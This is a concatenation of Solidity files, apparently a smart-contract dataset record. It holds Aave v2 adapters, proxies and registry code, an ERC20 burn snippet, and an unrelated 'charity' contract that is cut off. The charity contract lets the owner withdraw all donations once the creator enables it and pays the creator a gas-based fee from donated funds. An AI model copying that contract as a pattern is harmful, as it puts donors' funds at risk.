IERC20(assetTo).safeApprove(address(LENDING_POOL), vars.receivedAmount);
LENDING_POOL.deposit(assetTo, vars.receivedAmount, initiator, 0);
vars.flashLoanDebt = amount.add(premium);
vars.amountToPull = vars.amountToSwap.add(premium);
_pullAToken(assetFrom, vars.aToken, initiator, vars.amountToPull, permitSignature);
// Repay flash loan
IERC20(assetFrom).safeApprove(address(LENDING_POOL), 0);
IERC20(assetFrom).safeApprove(address(LENDING_POOL), vars.flashLoanDebt);
}
/**
* @dev Decodes the information encoded in the flash loan params
* @param params Additional variadic field to include extra params. Expected parameters:
* address[] assetToSwapToList List of the addresses of the reserve to be swapped to and deposited
* uint256[] minAmountsToReceive List of min amounts to be received from the swap
* bool[] swapAllBalance Flag indicating if all the user balance should be swapped
* uint256[] permitAmount List of amounts for the permit signature
* uint256[] deadline List of deadlines for the permit signature
* uint8[] v List of v param for the permit signature
* bytes32[] r List of r param for the permit signature
* bytes32[] s List of s param for the permit signature
* bool[] useEthPath true if the swap needs to occur using ETH in the routing, false otherwise
* @return SwapParams struct containing decoded params
*/
function _decodeParams(bytes memory params) internal pure returns (SwapParams memory) {
(
address[] memory assetToSwapToList,
uint256[] memory minAmountsToReceive,
bool[] memory swapAllBalance,
uint256[] memory permitAmount,
uint256[] memory deadline,
uint8[] memory v,
bytes32[] memory r,
bytes32[] memory s,
bool[] memory useEthPath
) =
abi.decode(
params,
(address[], uint256[], bool[], uint256[], uint256[], uint8[], bytes32[], bytes32[], bool[])
);
return
SwapParams(
assetToSwapToList,
minAmountsToReceive,
swapAllBalance,
PermitParams(permitAmount, deadline, v, r, s),
useEthPath
);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol';
import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol';
import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol';
import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol';
import {DataTypes} from '../protocol/libraries/types/DataTypes.sol';
import {Helpers} from '../protocol/libraries/helpers/Helpers.sol';
import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol';
import {IAToken} from '../interfaces/IAToken.sol';
import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol';
/**
* @title UniswapLiquiditySwapAdapter
* @notice Uniswap V2 Adapter to swap liquidity.
* @author Aave
**/
contract FlashLiquidationAdapter is BaseUniswapAdapter {
using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
uint256 internal constant LIQUIDATION_CLOSE_FACTOR_PERCENT = 5000;
struct LiquidationParams {
address collateralAsset;
address borrowedAsset;
address user;
uint256 debtToCover;
bool useEthPath;
}
struct LiquidationCallLocalVars {
uint256 initFlashBorrowedBalance;
uint256 diffFlashBorrowedBalance;
uint256 initCollateralBalance;
uint256 diffCollateralBalance;
uint256 flashLoanDebt;
uint256 soldAmount;
uint256 remainingTokens;
uint256 borrowedAssetLeftovers;
}
constructor(
ILendingPoolAddressesProvider addressesProvider,
IUniswapV2Router02 uniswapRouter,
address wethAddress
) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {}
/**
* @dev Liquidate a non-healthy position collateral-wise, with a Health Factor below 1, using Flash Loan and Uniswap to repay flash loan premium.
* - The caller (liquidator) with a flash loan covers `debtToCover` amount of debt of the user getting liquidated, and receives
* a proportionally amount of the `collateralAsset` plus a bonus to cover market risk minus the flash loan premium.
* @param assets Address of asset to be swapped
* @param amounts Amount of the asset to be swapped
* @param premiums Fee of the flash loan
* @param initiator Address of the caller
* @param params Additional variadic field to include extra params. Expected parameters:
* address collateralAsset The collateral asset to release and will be exchanged to pay the flash loan premium
* address borrowedAsset The asset that must be covered
* address user The user address with a Health Factor below 1
* uint256 debtToCover The amount of debt to cover
* bool useEthPath Use WETH as connector path between the collateralAsset and borrowedAsset at Uniswap
*/
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external override returns (bool) {
require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL');
LiquidationParams memory decodedParams = _decodeParams(params);
require(assets.length == 1 && assets[0] == decodedParams.borrowedAsset, 'INCONSISTENT_PARAMS');
_liquidateAndSwap(
decodedParams.collateralAsset,
decodedParams.borrowedAsset,
decodedParams.user,
decodedParams.debtToCover,
decodedParams.useEthPath,
amounts[0],
premiums[0],
initiator
);
return true;
}
/**
* @dev
* @param collateralAsset The collateral asset to release and will be exchanged to pay the flash loan premium
* @param borrowedAsset The asset that must be covered
* @param user The user address with a Health Factor below 1
* @param debtToCover The amount of debt to coverage, can be max(-1) to liquidate all possible debt
* @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise
* @param flashBorrowedAmount Amount of asset requested at the flash loan to liquidate the user position
* @param premium Fee of the requested flash loan
* @param initiator Address of the caller
*/
function _liquidateAndSwap(
address collateralAsset,
address borrowedAsset,
address user,
uint256 debtToCover,
bool useEthPath,
uint256 flashBorrowedAmount,
uint256 premium,
address initiator
) internal {
LiquidationCallLocalVars memory vars;
vars.initCollateralBalance = IERC20(collateralAsset).balanceOf(address(this));
if (collateralAsset != borrowedAsset) {
vars.initFlashBorrowedBalance = IERC20(borrowedAsset).balanceOf(address(this));
// Track leftover balance to rescue funds in case of external transfers into this contract
vars.borrowedAssetLeftovers = vars.initFlashBorrowedBalance.sub(flashBorrowedAmount);
}
vars.flashLoanDebt = flashBorrowedAmount.add(premium);
// Approve LendingPool to use debt token for liquidation
IERC20(borrowedAsset).approve(address(LENDING_POOL), debtToCover);
// Liquidate the user position and release the underlying collateral
LENDING_POOL.liquidationCall(collateralAsset, borrowedAsset, user, debtToCover, false);
// Discover the liquidated tokens
uint256 collateralBalanceAfter = IERC20(collateralAsset).balanceOf(address(this));
// Track only collateral released, not current asset balance of the contract
vars.diffCollateralBalance = collateralBalanceAfter.sub(vars.initCollateralBalance);
if (collateralAsset != borrowedAsset) {
// Discover flash loan balance after the liquidation
uint256 flashBorrowedAssetAfter = IERC20(borrowedAsset).balanceOf(address(this));
// Use only flash loan borrowed assets, not current asset balance of the contract
vars.diffFlashBorrowedBalance = flashBorrowedAssetAfter.sub(vars.borrowedAssetLeftovers);
// Swap released collateral into the debt asset, to repay the flash loan
vars.soldAmount = _swapTokensForExactTokens(
collateralAsset,
borrowedAsset,
vars.diffCollateralBalance,
vars.flashLoanDebt.sub(vars.diffFlashBorrowedBalance),
useEthPath
);
vars.remainingTokens = vars.diffCollateralBalance.sub(vars.soldAmount);
} else {
vars.remainingTokens = vars.diffCollateralBalance.sub(premium);
}
// Allow repay of flash loan
IERC20(borrowedAsset).approve(address(LENDING_POOL), vars.flashLoanDebt);
// Transfer remaining tokens to initiator
if (vars.remainingTokens > 0) {
IERC20(collateralAsset).transfer(initiator, vars.remainingTokens);
}
}
/**
* @dev Decodes the information encoded in the flash loan params
* @param params Additional variadic field to include extra params. Expected parameters:
* address collateralAsset The collateral asset to claim
* address borrowedAsset The asset that must be covered and will be exchanged to pay the flash loan premium
* address user The user address with a Health Factor below 1
* uint256 debtToCover The amount of debt to cover
* bool useEthPath Use WETH as connector path between the collateralAsset and borrowedAsset at Uniswap
* @return LiquidationParams struct containing decoded params
*/
function _decodeParams(bytes memory params) internal pure returns (LiquidationParams memory) {
(
address collateralAsset,
address borrowedAsset,
address user,
uint256 debtToCover,
bool useEthPath
) = abi.decode(params, (address, address, address, uint256, bool));
return LiquidationParams(collateralAsset, borrowedAsset, user, debtToCover, useEthPath);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import './BaseAdminUpgradeabilityProxy.sol';
import './InitializableUpgradeabilityProxy.sol';
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is
BaseAdminUpgradeabilityProxy,
InitializableUpgradeabilityProxy
{
/**
* Contract initializer.
* @param logic address of the initial implementation.
* @param admin Address of the proxy administrator.
* @param data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(
address logic,
address admin,
bytes memory data
) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(logic, data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(admin);
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) {
BaseAdminUpgradeabilityProxy._willFallback();
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import './UpgradeabilityProxy.sol';
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), 'Cannot change the admin of a proxy to the zero address');
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
//solium-disable-next-line
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
//solium-disable-next-line
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(msg.sender != _admin(), 'Cannot call fallback function from the proxy admin');
super._willFallback();
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import './BaseUpgradeabilityProxy.sol';
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import './BaseAdminUpgradeabilityProxy.sol';
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
) public payable UpgradeabilityProxy(_logic, _data) {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) {
BaseAdminUpgradeabilityProxy._willFallback();
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol';
// Prettier ignore to prevent buidler flatter bug
// prettier-ignore
import {InitializableImmutableAdminUpgradeabilityProxy} from '../libraries/aave-upgradeability/InitializableImmutableAdminUpgradeabilityProxy.sol';
import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol';
/**
* @title LendingPoolAddressesProvider contract
* @dev Main registry of addresses part of or connected to the protocol, including permissioned roles
* - Acting also as factory of proxies and admin of those, so with right to change its implementations
* - Owned by the Aave Governance
* @author Aave
**/
contract LendingPoolAddressesProvider is Ownable, ILendingPoolAddressesProvider {
string private _marketId;
mapping(bytes32 => address) private _addresses;
bytes32 private constant LENDING_POOL = 'LENDING_POOL';
bytes32 private constant LENDING_POOL_CONFIGURATOR = 'LENDING_POOL_CONFIGURATOR';
bytes32 private constant POOL_ADMIN = 'POOL_ADMIN';
bytes32 private constant EMERGENCY_ADMIN = 'EMERGENCY_ADMIN';
bytes32 private constant LENDING_POOL_COLLATERAL_MANAGER = 'COLLATERAL_MANAGER';
bytes32 private constant PRICE_ORACLE = 'PRICE_ORACLE';
bytes32 private constant LENDING_RATE_ORACLE = 'LENDING_RATE_ORACLE';
constructor(string memory marketId) public {
_setMarketId(marketId);
}
/**
* @dev Returns the id of the Aave market to which this contracts points to
* @return The market id
**/
function getMarketId() external view override returns (string memory) {
return _marketId;
}
/**
* @dev Allows to set the market which this LendingPoolAddressesProvider represents
* @param marketId The market id
*/
function setMarketId(string memory marketId) external override onlyOwner {
_setMarketId(marketId);
}
/**
* @dev General function to update the implementation of a proxy registered with
* certain `id`. If there is no proxy registered, it will instantiate one and
* set as implementation the `implementationAddress`
* IMPORTANT Use this function carefully, only for ids that don't have an explicit
* setter function, in order to avoid unexpected consequences
* @param id The id
* @param implementationAddress The address of the new implementation
*/
function setAddressAsProxy(bytes32 id, address implementationAddress)
external
override
onlyOwner
{
_updateImpl(id, implementationAddress);
emit AddressSet(id, implementationAddress, true);
}
/**
* @dev Sets an address for an id replacing the address saved in the addresses map
* IMPORTANT Use this function carefully, as it will do a hard replacement
* @param id The id
* @param newAddress The address to set
*/
function setAddress(bytes32 id, address newAddress) external override onlyOwner {
_addresses[id] = newAddress;
emit AddressSet(id, newAddress, false);
}
/**
* @dev Returns an address by id
* @return The address
*/
function getAddress(bytes32 id) public view override returns (address) {
return _addresses[id];
}
/**
* @dev Returns the address of the LendingPool proxy
* @return The LendingPool proxy address
**/
function getLendingPool() external view override returns (address) {
return getAddress(LENDING_POOL);
}
/**
* @dev Updates the implementation of the LendingPool, or creates the proxy
* setting the new `pool` implementation on the first time calling it
* @param pool The new LendingPool implementation
**/
function setLendingPoolImpl(address pool) external override onlyOwner {
_updateImpl(LENDING_POOL, pool);
emit LendingPoolUpdated(pool);
}
/**
* @dev Returns the address of the LendingPoolConfigurator proxy
* @return The LendingPoolConfigurator proxy address
**/
function getLendingPoolConfigurator() external view override returns (address) {
return getAddress(LENDING_POOL_CONFIGURATOR);
}
/**
* @dev Updates the implementation of the LendingPoolConfigurator, or creates the proxy
* setting the new `configurator` implementation on the first time calling it
* @param configurator The new LendingPoolConfigurator implementation
**/
function setLendingPoolConfiguratorImpl(address configurator) external override onlyOwner {
_updateImpl(LENDING_POOL_CONFIGURATOR, configurator);
emit LendingPoolConfiguratorUpdated(configurator);
}
/**
* @dev Returns the address of the LendingPoolCollateralManager. Since the manager is used
* through delegateCall within the LendingPool contract, the proxy contract pattern does not work properly hence
* the addresses are changed directly
* @return The address of the LendingPoolCollateralManager
**/
function getLendingPoolCollateralManager() external view override returns (address) {
return getAddress(LENDING_POOL_COLLATERAL_MANAGER);
}
/**
* @dev Updates the address of the LendingPoolCollateralManager
* @param manager The new LendingPoolCollateralManager address
**/
function setLendingPoolCollateralManager(address manager) external override onlyOwner {
_addresses[LENDING_POOL_COLLATERAL_MANAGER] = manager;
emit LendingPoolCollateralManagerUpdated(manager);
}
/**
* @dev The functions below are getters/setters of addresses that are outside the context
* of the protocol hence the upgradable proxy pattern is not used
**/
function getPoolAdmin() external view override returns (address) {
return getAddress(POOL_ADMIN);
}
function setPoolAdmin(address admin) external override onlyOwner {
_addresses[POOL_ADMIN] = admin;
emit ConfigurationAdminUpdated(admin);
}
function getEmergencyAdmin() external view override returns (address) {
return getAddress(EMERGENCY_ADMIN);
}
function setEmergencyAdmin(address emergencyAdmin) external override onlyOwner {
_addresses[EMERGENCY_ADMIN] = emergencyAdmin;
emit EmergencyAdminUpdated(emergencyAdmin);
}
function getPriceOracle() external view override returns (address) {
return getAddress(PRICE_ORACLE);
}
function setPriceOracle(address priceOracle) external override onlyOwner {
_addresses[PRICE_ORACLE] = priceOracle;
emit PriceOracleUpdated(priceOracle);
}
function getLendingRateOracle() external view override returns (address) {
return getAddress(LENDING_RATE_ORACLE);
}
function setLendingRateOracle(address lendingRateOracle) external override onlyOwner {
_addresses[LENDING_RATE_ORACLE] = lendingRateOracle;
emit LendingRateOracleUpdated(lendingRateOracle);
}
/**
* @dev Internal function to update the implementation of a specific proxied component of the protocol
* - If there is no proxy registered in the given `id`, it creates the proxy setting `newAdress`
* as implementation and calls the initialize() function on the proxy
* - If there is already a proxy registered, it just updates the implementation to `newAddress` and
* calls the initialize() function via upgradeToAndCall() in the proxy
* @param id The id of the proxy to be updated
* @param newAddress The address of the new implementation
**/
function _updateImpl(bytes32 id, address newAddress) internal {
address payable proxyAddress = payable(_addresses[id]);
InitializableImmutableAdminUpgradeabilityProxy proxy =
InitializableImmutableAdminUpgradeabilityProxy(proxyAddress);
bytes memory params = abi.encodeWithSignature('initialize(address)', address(this));
if (proxyAddress == address(0)) {
proxy = new InitializableImmutableAdminUpgradeabilityProxy(address(this));
proxy.initialize(newAddress, params);
_addresses[id] = address(proxy);
emit ProxyCreated(id, address(proxy));
} else {
proxy.upgradeToAndCall(newAddress, params);
}
}
function _setMarketId(string memory marketId) internal {
_marketId = marketId;
emit MarketIdSet(marketId);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {LendingPool} from '../protocol/lendingpool/LendingPool.sol';
import {
LendingPoolAddressesProvider
} from '../protocol/configuration/LendingPoolAddressesProvider.sol';
import {LendingPoolConfigurator} from '../protocol/lendingpool/LendingPoolConfigurator.sol';
import {AToken} from '../protocol/tokenization/AToken.sol';
import {
DefaultReserveInterestRateStrategy
} from '../protocol/lendingpool/DefaultReserveInterestRateStrategy.sol';
import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol';
import {StringLib} from './StringLib.sol';
contract ATokensAndRatesHelper is Ownable {
address payable private pool;
address private addressesProvider;
address private poolConfigurator;
event deployedContracts(address aToken, address strategy);
struct InitDeploymentInput {
address asset;
uint256[6] rates;
}
struct ConfigureReserveInput {
address asset;
uint256 baseLTV;
uint256 liquidationThreshold;
uint256 liquidationBonus;
uint256 reserveFactor;
bool stableBorrowingEnabled;
}
constructor(
address payable _pool,
address _addressesProvider,
address _poolConfigurator
) public {
pool = _pool;
addressesProvider = _addressesProvider;
poolConfigurator = _poolConfigurator;
}
function initDeployment(InitDeploymentInput[] calldata inputParams) external onlyOwner {
for (uint256 i = 0; i < inputParams.length; i++) {
emit deployedContracts(
address(new AToken()),
address(
new DefaultReserveInterestRateStrategy(
LendingPoolAddressesProvider(addressesProvider),
inputParams[i].rates[0],
inputParams[i].rates[1],
inputParams[i].rates[2],
inputParams[i].rates[3],
inputParams[i].rates[4],
inputParams[i].rates[5]
)
)
);
}
}
function configureReserves(ConfigureReserveInput[] calldata inputParams) external onlyOwner {
LendingPoolConfigurator configurator = LendingPoolConfigurator(poolConfigurator);
for (uint256 i = 0; i < inputParams.length; i++) {
configurator.configureReserveAsCollateral(
inputParams[i].asset,
inputParams[i].baseLTV,
inputParams[i].liquidationThreshold,
inputParams[i].liquidationBonus
);
configurator.enableBorrowingOnReserve(
inputParams[i].asset,
inputParams[i].stableBorrowingEnabled
);
configurator.setReserveFactor(inputParams[i].asset, inputParams[i].reserveFactor);
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
library StringLib {
function concat(string memory a, string memory b) internal pure returns (string memory) {
return string(abi.encodePacked(a, b));
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {StableDebtToken} from '../protocol/tokenization/StableDebtToken.sol';
import {VariableDebtToken} from '../protocol/tokenization/VariableDebtToken.sol';
import {LendingRateOracle} from '../mocks/oracle/LendingRateOracle.sol';
import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol';
import {StringLib} from './StringLib.sol';
contract StableAndVariableTokensHelper is Ownable {
address payable private pool;
address private addressesProvider;
event deployedContracts(address stableToken, address variableToken);
constructor(address payable _pool, address _addressesProvider) public {
pool = _pool;
addressesProvider = _addressesProvider;
}
function initDeployment(address[] calldata tokens, string[] calldata symbols) external onlyOwner {
require(tokens.length == symbols.length, 'Arrays not same length');
require(pool != address(0), 'Pool can not be zero address');
for (uint256 i = 0; i < tokens.length; i++) {
emit deployedContracts(address(new StableDebtToken()), address(new VariableDebtToken()));
}
}
function setOracleBorrowRates(
address[] calldata assets,
uint256[] calldata rates,
address oracle
) external onlyOwner {
require(assets.length == rates.length, 'Arrays not same length');
for (uint256 i = 0; i < assets.length; i++) {
// LendingRateOracle owner must be this contract
LendingRateOracle(oracle).setMarketBorrowRate(assets[i], rates[i]);
}
}
function setOracleOwnership(address oracle, address admin) external onlyOwner {
require(admin != address(0), 'owner can not be zero');
require(LendingRateOracle(oracle).owner() == address(this), 'helper is not owner');
LendingRateOracle(oracle).transferOwnership(admin);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {ILendingRateOracle} from '../../interfaces/ILendingRateOracle.sol';
import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol';
contract LendingRateOracle is ILendingRateOracle, Ownable {
mapping(address => uint256) borrowRates;
mapping(address => uint256) liquidityRates;
function getMarketBorrowRate(address _asset) external view override returns (uint256) {
return borrowRates[_asset];
}
function setMarketBorrowRate(address _asset, uint256 _rate) external override onlyOwner {
borrowRates[_asset] = _rate;
}
function getMarketLiquidityRate(address _asset) external view returns (uint256) {
return liquidityRates[_asset];
}
function setMarketLiquidityRate(address _asset, uint256 _rate) external onlyOwner {
liquidityRates[_asset] = _rate;
}
}
|
Destroys `amount` tokens from `account`, reducing the total supply. Emits a {Transfer} event with `to` set to the zero address. Requirements - `account` cannot be the zero address. - `account` must have at least `amount` tokens./
|
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: burn from the zero address');
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, 'ERC20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
| 68,447 |
pragma solidity 0.6.9;
/*
Create By Sajad Hasanzadeh
My ID : @sajadkoroush
My gmail : [email protected]
*/
contract Charity_final_23{
address payable owner;
uint256 private someval;
address payable creator;
bool feeforcreator = false;
bool canwithdrawowner = false;
// uint256 private feex;
uint256 oneWei = 1 wei;
struct personX{
address adrs;
string name_family;
uint256 needval;
uint64 natcode;
bool exists;
}
mapping (address => personX) private Aperson;
address[] persons;
event WithdrawEvent(address indexed adrsx, uint256 amount, uint64 natcode);
event CheckPersonsforWithdrawEvent(address indexed adrsx, uint256 amount, uint64 natcode);
event AddpersonEvent(address indexed adrsadd, uint256 needval , uint64 natcode);
event PayCharityEvent(address indexed adrs, uint256 amount);
event RemoveFirstPersonViaOwnerEvent(address indexed addressx, uint256 amount, uint64 natx );
event RemoveAndWithdrawFirstPersonEvent(address indexed addressx, uint256 amount, uint64 natx);
event WithdrawtoOwnerEvent(address indexed Owneraddress, uint256 amount);
event EditinformationEvent(address indexed adrsx, uint256 amount, uint64 natx);
event MakeWithdrawforOwnerEvent(address indexed adrs,bool accessx);
event MakeCreatorFeeEvent(address indexed adrs,bool feeforcreatorBool);
event ChangeOwnerEvent(address indexed oldOwner, address indexed newOnwer);
event ChangeCreatorEvent(address indexed oldCreator, address indexed newCreator);
//Aperson[] persons;
constructor() public {
owner = msg.sender;
creator = msg.sender;
}
modifier OnlyOwnerc(){
require(owner == msg.sender);
_;
}
modifier OnlyCreator(){
require(creator == msg.sender);
_;
}
function Addperson(address _adr, string memory _name, uint256 _needval , uint64 _natcode ) public OnlyOwnerc returns(bool){
require(!Aperson[_adr].exists , "He/She Exist" );
Aperson[_adr] = personX(_adr, _name, (_needval * oneWei) , _natcode , true);
persons.push(_adr);
emit AddpersonEvent(_adr, _needval * oneWei , _natcode );
if(Aperson[persons[0]].exists){
for(uint i=0; i< persons.length; i++){
if(someval >= Aperson[persons[i]].needval){
(payable(persons[i])).transfer(Aperson[persons[i]].needval);
emit WithdrawEvent(Aperson[persons[i]].adrs, Aperson[persons[i]].needval , Aperson[persons[i]].natcode);
delete Aperson[persons[i]];
persons = removear(persons, i);
someval = address(this).balance;
i--;
}else{
break;
}
}
}
return true;
}
function PayCharity() payable public returns (bool) {
//require(msg.value >= _amount && _amount != 0 ,"You Haven't Enough in your Wallet");
require(Aperson[persons[0]].exists, "Nobody for help, Thank you");
if(feeforcreator){
creator.transfer(gasleft() * tx.gasprice);
}
someval = address(this).balance;
emit PayCharityEvent(msg.sender, msg.value);
//if(Aperson[persons[0]].exists)
for(uint i=0; i< persons.length; i++){
if(someval >= Aperson[persons[i]].needval){
(payable(persons[i])).transfer(Aperson[persons[i]].needval);
emit WithdrawEvent(Aperson[persons[i]].adrs, Aperson[persons[i]].needval , Aperson[persons[i]].natcode);
delete Aperson[persons[i]];
persons = removear(persons, i);
someval = address(this).balance;
i--;
}else{
break;
}
}
return true;
}
function RemoveFirstPersonViaOwner() external OnlyOwnerc returns(bool){
require(Aperson[persons[0]].exists, "He/She is Not Exist");
emit RemoveFirstPersonViaOwnerEvent(Aperson[persons[0]].adrs, Aperson[persons[0]].needval, Aperson[persons[0]].natcode);
delete Aperson[persons[0]];
persons = removear(persons, 0);
return true;
}
function RemoveAndWithdrawFirstPerson() external OnlyOwnerc returns(bool) {
require(Aperson[persons[0]].exists , "He/She Not Exist" );
emit RemoveAndWithdrawFirstPersonEvent(Aperson[persons[0]].adrs, Aperson[persons[0]].needval, Aperson[persons[0]].natcode);
(payable(persons[0])).transfer(Aperson[persons[0]].needval);
delete Aperson[persons[0]];
persons = removear(persons, 0);
someval = address(this).balance;
return true;
}
function CheckPersonsNeedisEnough(uint256 _ind) external view returns(address, uint256, uint64) {
require(Aperson[persons[0]].exists, "Nobody is exist");
require(Aperson[persons[_ind]].exists);
return (Aperson[persons[_ind]].adrs, Aperson[persons[_ind]].needval, Aperson[persons[_ind]].natcode);
}
function WithdrawPersonsbeEnough() external OnlyOwnerc{
require(Aperson[persons[0]].exists, "Nobody is exist");
for(uint i=0; i< persons.length; i++){
if(someval >= Aperson[persons[i]].needval){
(payable(persons[i])).transfer(Aperson[persons[i]].needval);
emit WithdrawEvent(Aperson[persons[i]].adrs, Aperson[persons[i]].needval , Aperson[persons[i]].natcode);
delete Aperson[persons[i]];
persons = removear(persons, i);
someval = address(this).balance;
i--;
}else{
break;
}
}
}
function WithdrawToOwner() external OnlyOwnerc returns(address) {
require(canwithdrawowner, "Creator Don't Access You");
emit WithdrawtoOwnerEvent(msg.sender, address(this).balance);
msg.sender.transfer(address(this).balance);
someval = address(this).balance;
return msg.sender;
}
function MakeWithdrawforOwner() external OnlyCreator returns(bool){
canwithdrawowner = !canwithdrawowner;
emit MakeWithdrawforOwnerEvent(owner,canwithdrawowner);
return canwithdrawowner;
}
function MakeCreatorFee() external OnlyCreator returns(bool){
feeforcreator = !feeforcreator;
emit MakeCreatorFeeEvent(creator, feeforcreator);
return feeforcreator;
}
